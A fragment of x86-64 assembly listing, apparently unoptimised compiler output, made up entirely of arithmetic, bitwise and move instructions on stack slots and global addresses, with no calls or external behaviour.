movsx ecx, word [rsp + 0x86c]
sub eax, ecx
mov word [rsp + 0x878], ax
movzx eax, word [rsp + 0x894]
mov word [rsp + 0x908], ax
mov rax, qword [0x1401141f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x33]
add eax, ecx
mov byte [rsp + 0x34], al
lea rax, [rsp + 0x2b68]
mov qword [rsp + 0x5378], rax
mov rax, qword [0x140114160]
mov rcx, qword [rsp + 0x4f48]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4da0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e48]
mov ecx, dword [rsp + 0x2b30]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b1c], eax
mov rax, qword [rsp + 0x51d8]
mov qword [rsp + 0x5380], rax
lea rax, [rsp + 0x8d4]
mov qword [0x140114228], rax
movsx eax, word [0x14011302c]
mov rcx, qword [rsp + 0x51c0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5338]
mov word [rcx], ax
movzx eax, byte [rsp + 0x65]
mov byte [rsp + 0x67], al
mov rax, qword [rsp + 0x5048]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e00]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5e], al
mov rax, qword [0x1401141a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4cd8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5c], al
mov rax, qword [rsp + 0x5128]
mov rax, qword [rax]
mov qword [rsp + 0x5388], rax
mov rax, qword [rsp + 0x4c90]
mov rcx, qword [rsp + 0x50f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x50e0]
mov qword [rcx], rax
lea rax, [0x140114150]
mov qword [rsp + 0x5390], rax
mov rax, qword [rsp + 0x5330]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b78], eax
movzx eax, word [rsp + 0x8a0]
mov word [rsp + 0x90c], ax
mov rax, qword [0x140114178]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4f08]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x14011301a], al
movzx eax, byte [rsp + 0x5e]
mov rcx, qword [rsp + 0x5308]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov byte [rcx], al
movsx eax, word [rsp + 0x858]
movsx ecx, word [0x14011301c]
sar eax, cl
mov rcx, qword [rsp + 0x4e58]
mov word [rcx], ax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x5398], rax
mov eax, dword [rsp + 0x2b54]
movzx ecx, al
mov eax, dword [rsp + 0x2a20]
shl eax, cl
mov rcx, qword [rsp + 0x4d78]
mov dword [rcx], eax
lea rax, [rsp + 0x2b7c]
mov qword [rsp + 0x53a0], rax
mov rax, qword [rsp + 0x4e78]
mov rcx, qword [rsp + 0x5278]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5128]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5040]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4f38]
mov qword [rcx], rax
lea rax, [rsp + 0x46]
mov qword [rsp + 0x53a8], rax
movzx eax, word [0x140114220]
movzx ecx, word [rsp + 0x908]
add eax, ecx
mov word [0x140113024], ax
mov rax, qword [rsp + 0x5070]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5148]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x884], ax
mov rax, qword [rsp + 0x51f8]
movzx eax, byte [rax]
mov byte [rsp + 0x68], al
movsx eax, word [rsp + 0x8b4]
mov rcx, qword [rsp + 0x4e20]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x84c], ax
mov eax, dword [rsp + 0x2b68]
mov ecx, dword [rsp + 0x2b04]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov dword [rcx], eax
lea rax, [0x140113008]
mov qword [rsp + 0x53b0], rax
mov rax, qword [rsp + 0x4c90]
mov rcx, qword [rsp + 0x4ba8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5320], rax
mov rax, qword [rsp + 0x5210]
mov eax, dword [rax]
mov dword [rsp + 0x2b8c], eax
movzx eax, word [rsp + 0x8cc]
movzx ecx, word [0x140113040]
add eax, ecx
mov word [rsp + 0x870], ax
mov rax, qword [rsp + 0x50f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14011301b], al
movzx eax, byte [rsp + 0x4c]
movzx ecx, byte [rsp + 0x5e]
sub eax, ecx
mov rcx, qword [rsp + 0x51e0]
mov byte [rcx], al
mov rax, qword [0x1401141d8]
movzx eax, byte [rax]
mov byte [rsp + 0x69], al
mov rax, qword [rsp + 0x51b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x87c]
xor eax, ecx
mov word [rsp + 0x840], ax
mov rax, qword [rsp + 0x5348]
mov eax, dword [rax]
mov dword [rsp + 0x2b90], eax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x140114160]
sar rax, cl
mov rcx, qword [rsp + 0x5180]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5370]
mov rax, qword [rax]
mov qword [rsp + 0x53b8], rax
mov eax, dword [rsp + 0x2ae8]
movzx ecx, al
mov eax, dword [rsp + 0x29f0]
shl eax, cl
mov rcx, qword [rsp + 0x4d88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4de0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x85c]
or eax, ecx
mov word [rsp + 0x888], ax
movsx eax, byte [rsp + 0x3e]
movsx ecx, byte [rsp + 0x38]
and eax, ecx
mov byte [0x140113012], al
mov rax, qword [rsp + 0x5308]
movzx eax, byte [rax]
mov byte [rsp + 0x6a], al
movsx eax, word [0x140113004]
movsx ecx, word [rsp + 0x8d8]
sub eax, ecx
mov word [rsp + 0x850], ax
movzx eax, word [rsp + 0x8e8]
mov word [rsp + 0x910], ax
movsx eax, word [rsp + 0x860]
movsx ecx, word [rsp + 0x8f0]
add eax, ecx
mov word [rsp + 0x8c0], ax
mov rax, qword [rsp + 0x4fd0]
mov rcx, qword [rsp + 0x5188]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x53b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5150]
mov eax, dword [rax]
mov dword [rsp + 0x2b94], eax
mov rax, qword [rsp + 0x5080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b40], eax
lea rax, [0x140114160]
mov qword [rsp + 0x53c0], rax
movzx eax, byte [rsp + 0x35]
movzx ecx, byte [rsp + 0x41]
sub eax, ecx
mov rcx, qword [0x1401141f8]
mov byte [rcx], al
movzx eax, word [rsp + 0x854]
mov rcx, qword [0x1401141e0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5170]
mov word [rcx], ax
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x52d8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x52a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5298]
movzx eax, word [rax]
mov word [rsp + 0x914], ax
movsx eax, byte [rsp + 0x3f]
movsx ecx, byte [0x140113012]
add eax, ecx
mov byte [rsp + 0x47], al
mov rax, qword [rsp + 0x53a0]
mov eax, dword [rax]
mov dword [rsp + 0x2b98], eax
mov eax, dword [rsp + 0x2b54]
movzx ecx, al
mov eax, dword [rsp + 0x2b2c]
shl eax, cl
mov rcx, qword [rsp + 0x4fe8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4fa0]
movzx ecx, al
mov rax, qword [rsp + 0x51b0]
sar rax, cl
mov rcx, qword [rsp + 0x5098]
mov qword [rcx], rax
lea rax, [rsp + 0x4ef8]
mov qword [rsp + 0x53c8], rax
mov rax, qword [rsp + 0x51c8]
movzx eax, word [rax]
mov word [0x140114230], ax
mov rax, qword [rsp + 0x5360]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x33]
or eax, ecx
mov rcx, qword [rsp + 0x4f88]
mov byte [rcx], al
movzx eax, word [rsp + 0x8a0]
mov word [rsp + 0x918], ax
movsx eax, byte [rsp + 0x5d]
mov rcx, qword [rsp + 0x4f60]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4c70]
mov byte [rcx], al
lea rax, [rsp + 0x84c]
mov qword [rsp + 0x53d0], rax
mov rax, qword [rsp + 0x4c58]
mov rcx, qword [rsp + 0x52a8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x50e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ae4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b34], eax
mov rax, qword [rsp + 0x4b40]
mov eax, dword [rax]
mov dword [rsp + 0x2b9c], eax
mov rax, qword [rsp + 0x5220]
mov rcx, qword [rsp + 0x4ef8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5078]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [rsp + 0x68]
add eax, ecx
mov byte [0x140114154], al
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
mov word [rsp + 0x91c], ax
movzx eax, byte [rsp + 0x3c]
movzx ecx, byte [rsp + 0x62]
sub eax, ecx
mov rcx, qword [rsp + 0x5020]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e30]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x52d0]
mov byte [rcx], al
movzx eax, word [rsp + 0x8e0]
mov word [rsp + 0x920], ax
mov rax, qword [rsp + 0x50c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4bf8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f48], rax
mov rax, qword [rsp + 0x5108]
mov eax, dword [rax]
mov dword [rsp + 0x2ba0], eax
mov eax, dword [rsp + 0x2b20]
mov ecx, dword [rsp + 0x2b50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b84], eax
mov rax, qword [rsp + 0x4b90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5188]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5078]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4fe0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ed0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x14011301e], al
movzx eax, byte [rsp + 0x3d]
mov byte [rsp + 0x6b], al
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5088]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5148]
mov word [rcx], ax
mov rax, qword [rsp + 0x4bc8]
movzx eax, word [rax]
mov word [rsp + 0x924], ax
movsx eax, byte [rsp + 0x32]
mov rcx, qword [rsp + 0x50b8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x65], al
lea rax, [rsp + 0x2b74]
mov qword [rsp + 0x53d8], rax
mov eax, dword [rsp + 0x2b1c]
mov rcx, qword [rsp + 0x4ff8]
mov qword [rsp + 0x53e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x53e0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4ff8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x50c0]
mov rcx, qword [0x140114160]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4fc8], rax
mov rax, qword [rsp + 0x5010]
mov rax, qword [rax]
mov qword [rsp + 0x53e8], rax
movsx eax, word [rsp + 0x8c8]
movsx ecx, word [rsp + 0x8f0]
sub eax, ecx
mov word [0x140113048], ax
movzx eax, byte [rsp + 0x5f]
mov rcx, qword [rsp + 0x5308]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4e], al
lea rax, [rsp + 0x8dc]
mov qword [rsp + 0x53f0], rax
movsx eax, byte [rsp + 0x67]
movsx ecx, byte [rsp + 0x3d]
and eax, ecx
mov byte [rsp + 0x39], al
mov rax, qword [rsp + 0x5070]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4c78]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8b8], ax
lea rax, [rsp + 0x2b84]
mov qword [rsp + 0x53f8], rax
mov rax, qword [rsp + 0x4bb0]
mov ecx, dword [rsp + 0x2b40]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x51e8]
mov dword [rcx], eax
lea rax, [0x140113008]
mov qword [rsp + 0x5400], rax
mov rax, qword [rsp + 0x4fd8]
mov rcx, qword [rsp + 0x4f70]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x51b0], rax
mov rax, qword [rsp + 0x5240]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5318]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401141d8]
mov byte [rcx], al
movzx eax, word [0x140114230]
mov rcx, qword [rsp + 0x4e88]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5018]
mov word [rcx], ax
mov rax, qword [rsp + 0x52d8]
movzx eax, byte [rax]
mov byte [rsp + 0x6c], al
movzx eax, byte [rsp + 0x49]
movzx ecx, byte [rsp + 0x58]
sub eax, ecx
mov byte [rsp + 0x42], al
lea rax, [rsp + 0x88c]
mov qword [rsp + 0x5408], rax
mov rax, qword [rsp + 0x52c8]
mov rcx, qword [rsp + 0x5390]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5120]
mov dword [rcx], eax
mov rax, qword [rsp + 0x53a0]
mov ecx, dword [rsp + 0x2b9c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x53a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x53c0]
mov rax, qword [rax]
mov qword [rsp + 0x5410], rax
mov rax, qword [rsp + 0x50d0]
mov rcx, qword [rsp + 0x4b90]
mov qword [rsp + 0x5418], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5418]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x4ef8], rax
mov rax, qword [rsp + 0x4e00]
movzx eax, byte [rax]
mov byte [0x1401141be], al
lea rax, [rsp + 0x65]
mov qword [rsp + 0x5420], rax
mov rax, qword [rsp + 0x53f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4bc0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x848], ax
mov rax, qword [rsp + 0x5298]
movzx eax, word [rax]
mov word [rsp + 0x928], ax
mov rax, qword [rsp + 0x4f28]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x928]
xor eax, ecx
mov rcx, qword [rsp + 0x4f28]
mov word [rcx], ax
mov rax, qword [rsp + 0x50f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4e08]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ea8]
mov qword [rcx], rax
lea rax, [rsp + 0x2b8c]
mov qword [rsp + 0x5428], rax
mov rax, qword [rsp + 0x5190]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cd0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ee0]
mov eax, dword [rax]
mov dword [rsp + 0x2ba4], eax
movzx eax, byte [rsp + 0x45]
movzx ecx, byte [rsp + 0x4f]
sub eax, ecx
mov rcx, qword [rsp + 0x5360]
mov byte [rcx], al
mov rax, qword [rsp + 0x50a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
add eax, ecx
mov rcx, qword [0x140114178]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x53d0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5338]
mov word [rcx], ax
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
mov word [rsp + 0x92c], ax
mov rax, qword [0x1401141b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x51c0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x50a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x51d8]
mov qword [rsp + 0x5430], rax
mov rax, qword [rsp + 0x5358]
mov ecx, dword [rsp + 0x2aec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b28], eax
mov rax, qword [rsp + 0x52f0]
mov rcx, qword [rsp + 0x4f70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x52f8], rax
mov eax, dword [rsp + 0x2ae0]
mov dword [rsp + 0x2ba8], eax
mov rax, qword [rsp + 0x53f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5018]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8d4], ax
lea rax, [0x140114154]
mov qword [0x140114238], rax
movzx eax, word [rsp + 0x884]
mov word [rsp + 0x930], ax
mov rax, qword [rsp + 0x50f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4d]
sub eax, ecx
mov rcx, qword [rsp + 0x5050]
mov byte [rcx], al
movzx eax, byte [rsp + 0x5b]
mov byte [rsp + 0x6d], al
mov eax, dword [rsp + 0x2b24]
mov rcx, qword [rsp + 0x5198]
mov qword [rsp + 0x5438], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5438]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2ba0], eax
mov rax, qword [rsp + 0x53c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5220]
mov qword [rsp + 0x5440], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5440]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x5008]
mov qword [rcx], rax
lea rax, [0x140114160]
mov qword [rsp + 0x5448], rax
mov rax, qword [rsp + 0x4b40]
mov rcx, qword [rsp + 0x4dd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x5348]
mov dword [rcx], eax
lea rax, [rsp + 0x43]
mov qword [rsp + 0x5450], rax
mov rax, qword [rsp + 0x51c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x914]
xor eax, ecx
mov word [0x140113044], ax
mov rax, qword [rsp + 0x5130]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x90c]
and eax, ecx
mov word [rsp + 0x898], ax
mov rax, qword [rsp + 0x5100]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x53d0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8c8], ax
lea rax, [0x140113003]
mov qword [rsp + 0x5458], rax
mov rax, qword [rsp + 0x4f90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ba0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f00], rax
lea rax, [rsp + 0x2b3c]
mov qword [rsp + 0x5460], rax
mov rax, qword [rsp + 0x4b88]
mov rcx, qword [rsp + 0x53d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b68], eax
mov rax, qword [rsp + 0x4b78]
mov rcx, qword [rsp + 0x4e78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5448]
mov qword [rcx], rax
lea rax, [rsp + 0x4e]
mov qword [rsp + 0x5468], rax
movzx eax, word [rsp + 0x8d4]
movzx ecx, word [rsp + 0x8f4]
and eax, ecx
mov rcx, qword [0x1401141e0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [rsp + 0x51]
add eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov byte [rcx], al
lea rax, [rsp + 0x5f]
mov qword [rsp + 0x5470], rax
movsx eax, word [rsp + 0x858]
mov rcx, qword [rsp + 0x5160]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4e20]
mov word [rcx], ax
movzx eax, byte [rsp + 0x4c]
mov rcx, qword [rsp + 0x5318]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x36], al
lea rax, [rsp + 0x2a3c]
mov qword [rsp + 0x5478], rax
mov rax, qword [rsp + 0x53a0]
mov rcx, qword [rsp + 0x5168]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4d60]
mov dword [rcx], eax
lea rax, [rsp + 0x5238]
mov qword [rsp + 0x5480], rax
mov rax, qword [rsp + 0x5250]
mov rcx, qword [rsp + 0x5290]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4eb0], rax
lea rax, [rsp + 0x848]
mov qword [0x140114240], rax
mov rax, qword [rsp + 0x4f60]
movzx eax, byte [rax]
mov byte [rsp + 0x6e], al
movsx eax, word [rsp + 0x890]
movsx ecx, word [rsp + 0x840]
xor eax, ecx
mov word [rsp + 0x878], ax
movzx eax, byte [rsp + 0x54]
movzx ecx, byte [rsp + 0x41]
sar eax, cl
mov byte [rsp + 0x4e], al
movzx eax, byte [rsp + 0x6b]
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x4f50]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2b8c]
shl eax, cl
mov dword [rsp + 0x2b6c], eax
lea rax, [rsp + 0x4cd0]
mov qword [rsp + 0x5488], rax
mov rax, qword [rsp + 0x5278]
mov rcx, qword [rsp + 0x51b0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4fd8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b40]
mov ecx, dword [rsp + 0x2ae8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b04], eax
mov rax, qword [0x140114158]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8e8]
sub eax, ecx
mov word [0x14011303c], ax
lea rax, [rsp + 0x6a]
mov qword [rsp + 0x5490], rax
movsx eax, byte [rsp + 0x43]
mov rcx, qword [rsp + 0x51f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x50a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c78]
movzx eax, word [rax]
mov word [rsp + 0x934], ax
movsx eax, word [rsp + 0x8a8]
movsx ecx, word [rsp + 0x8f0]
add eax, ecx
mov word [rsp + 0x88c], ax
mov rax, qword [rsp + 0x50e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x52f8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ef8]
mov qword [rsp + 0x5498], rax
mov rax, qword [rsp + 0x5378]
mov rcx, qword [rsp + 0x4d88]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2a4c], eax
mov rax, qword [rsp + 0x5330]
mov eax, dword [rax]
mov dword [rsp + 0x2bac], eax
lea rax, [rsp + 0x31]
mov qword [0x140114248], rax
movsx eax, word [rsp + 0x890]
mov rcx, qword [rsp + 0x4f80]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5100]
mov word [rcx], ax
movsx eax, byte [rsp + 0x39]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5230]
mov byte [rcx], al
lea rax, [rsp + 0x8f4]
mov qword [rsp + 0x54a0], rax
mov rax, qword [rsp + 0x4c78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x880]
add eax, ecx
mov word [rsp + 0x900], ax
lea rax, [rsp + 0x4bf8]
mov qword [rsp + 0x54a8], rax
mov eax, dword [rsp + 0x2b64]
movzx ecx, al
mov eax, dword [rsp + 0x2b5c]
shl eax, cl
mov rcx, qword [rsp + 0x5210]
mov dword [rcx], eax
lea rax, [rsp + 0x2aec]
mov qword [rsp + 0x54b0], rax
mov rax, qword [rsp + 0x5328]
mov rcx, qword [rsp + 0x4db8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4c00], rax
lea rax, [rsp + 0x4e]
mov qword [0x140114250], rax
mov rax, qword [rsp + 0x4f40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6b]
or eax, ecx
mov byte [rsp + 0x68], al
lea rax, [rsp + 0x88c]
mov qword [rsp + 0x54b8], rax
mov rax, qword [rsp + 0x4e88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x52b8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5018]
mov word [rcx], ax
lea rax, [rsp + 0x4a]
mov qword [rsp + 0x54c0], rax
mov eax, dword [rsp + 0x2a20]
mov ecx, dword [rsp + 0x2b24]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ae4], eax
mov rax, qword [0x140113008]
mov rcx, qword [rsp + 0x5290]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50d0], rax
mov rax, qword [rsp + 0x5278]
mov qword [rsp + 0x54c8], rax
mov rax, qword [rsp + 0x5428]
mov ecx, dword [rsp + 0x2ba8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5428]
mov dword [rcx], eax
movsx eax, word [rsp + 0x860]
mov rcx, qword [rsp + 0x4eb8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140114180]
mov word [rcx], ax
mov rax, qword [rsp + 0x4fa8]
movzx eax, word [rax]
mov word [rsp + 0x938], ax
movzx eax, word [rsp + 0x85c]
movzx ecx, word [rsp + 0x8d4]
sub eax, ecx
mov word [rsp + 0x91c], ax
mov rax, qword [rsp + 0x5048]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5308]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x45], al
movzx eax, byte [rsp + 0x4a]
mov byte [rsp + 0x70], al
mov eax, dword [rsp + 0x2b0c]
mov ecx, dword [rsp + 0x2b68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a3c], eax
mov eax, dword [rsp + 0x2a98]
mov dword [rsp + 0x2bb0], eax
mov rax, qword [rsp + 0x4f48]
imul rax, qword [rsp + 0x4fb0]
mov rcx, qword [rsp + 0x50f0]
mov qword [rcx], rax
lea rax, [rsp + 0x5000]
mov qword [rsp + 0x54d0], rax
movzx eax, byte [rsp + 0x3a]
mov rcx, qword [rsp + 0x5048]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1401141f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5298]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8c8]
add eax, ecx
mov rcx, qword [rsp + 0x4e58]
mov word [rcx], ax
mov rax, qword [rsp + 0x4fe0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x41]
shl eax, cl
mov byte [rsp + 0x5b], al
lea rax, [rsp + 0x6b]
mov qword [rsp + 0x54d8], rax
mov rax, qword [rsp + 0x5018]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8ac]
xor eax, ecx
mov rcx, qword [rsp + 0x5088]
mov word [rcx], ax
lea rax, [rsp + 0x51d8]
mov qword [rsp + 0x54e0], rax
mov rax, qword [rsp + 0x5428]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4e48]
mov qword [rsp + 0x54e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x54e8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x5348]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5098]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4fa0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x53c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x54b0]
mov eax, dword [rax]
mov dword [rsp + 0x2bb4], eax
lea rax, [rsp + 0x850]
mov qword [0x140114258], rax
mov rax, qword [rsp + 0x4ef0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8a8]
sub eax, ecx
mov word [rsp + 0x8d8], ax
lea rax, [rsp + 0x5e]
mov qword [rsp + 0x54f0], rax
mov rax, qword [rsp + 0x53f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x92c]
and eax, ecx
mov rcx, qword [rsp + 0x4c78]
mov word [rcx], ax
movsx eax, byte [rsp + 0x38]
mov rcx, qword [rsp + 0x4f40]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x51f8]
mov byte [rcx], al
lea rax, [rsp + 0x4fb0]
mov qword [rsp + 0x54f8], rax
mov rax, qword [rsp + 0x4ed8]
mov rcx, qword [rsp + 0x5380]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x53e8], rax
lea rax, [rsp + 0x2b64]
mov qword [rsp + 0x5500], rax
mov rax, qword [rsp + 0x4ee8]
mov rcx, qword [rsp + 0x5060]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x29bc], eax
mov rax, qword [0x1401141d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5e]
add eax, ecx
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x54a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x91c]
add eax, ecx
mov word [0x140114230], ax
mov rax, qword [rsp + 0x4c70]
